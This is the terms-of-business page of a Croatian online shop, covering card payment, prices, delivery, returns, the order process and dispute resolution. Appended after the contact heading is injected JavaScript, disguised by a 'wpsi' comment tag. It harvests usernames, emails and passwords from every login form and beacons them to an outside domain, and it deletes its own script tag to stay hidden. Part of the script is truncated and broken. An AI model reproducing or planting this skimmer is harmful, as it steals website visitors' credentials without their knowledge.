Uvjeti poslovanja

Načini plaćanja

Kupac može izvršiti plaćanje kreditnim i debitnim karticama putem Monri WSPay sustava. Prihvaćene kartice su: Visa, MasterCard, Maestro, Diners, American Express.

Cijene

Sve cijene izražene su u eurima (EUR) i uključuju PDV. U cijenu proizvoda nije uključen trošak dostave, osim ako nije drugačije naznačeno.

Dostava

Dostavu vršimo na području Republike Hrvatske i inozemstva putem ugovornih dostavnih službi. Rok isporuke unutar RH iznosi 2-5 radnih dana, dok za inozemstvo može trajati duže ovisno o lokaciji. Trošak dostave vidljiv je u košarici prije potvrde narudžbe.

Povrat i reklamacije

Kupac ima pravo na jednostrani raskid ugovora u roku od 14 dana bez navođenja razloga, sukladno članku 45. Zakona o zaštiti potrošača. Kupac može ostvariti pravo na povrat u slučaju oštećenja proizvoda, neispravne isporuke ili neusklađenosti s narudžbom.

Reklamacije se šalju putem e-maila na: info@waterup.com.
U povratu je potrebno priložiti kopiju računa i opis problema.

Proces narudžbe

  1. Odaberite proizvod i dodajte ga u košaricu
  2. Unesite podatke o dostavi i plaćanju
  3. Potvrdite narudžbu
  4. Na e-mail ćete dobiti potvrdu narudžbe

Kupac može ispraviti pogreške prije potvrde narudžbe. Uvjeti poslovanja su uvijek dostupni i mogu se spremiti u PDF formatu.

Rješavanje sporova

Sukladno važećim zakonima, obavještavamo potrošače da mogu podnijeti pritužbe i putem EU platforme za online rješavanje sporova:
👉 https://ec.europa.eu/consumers/odr

Kontaktirajte nas

Pošaljite nam poruku

/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();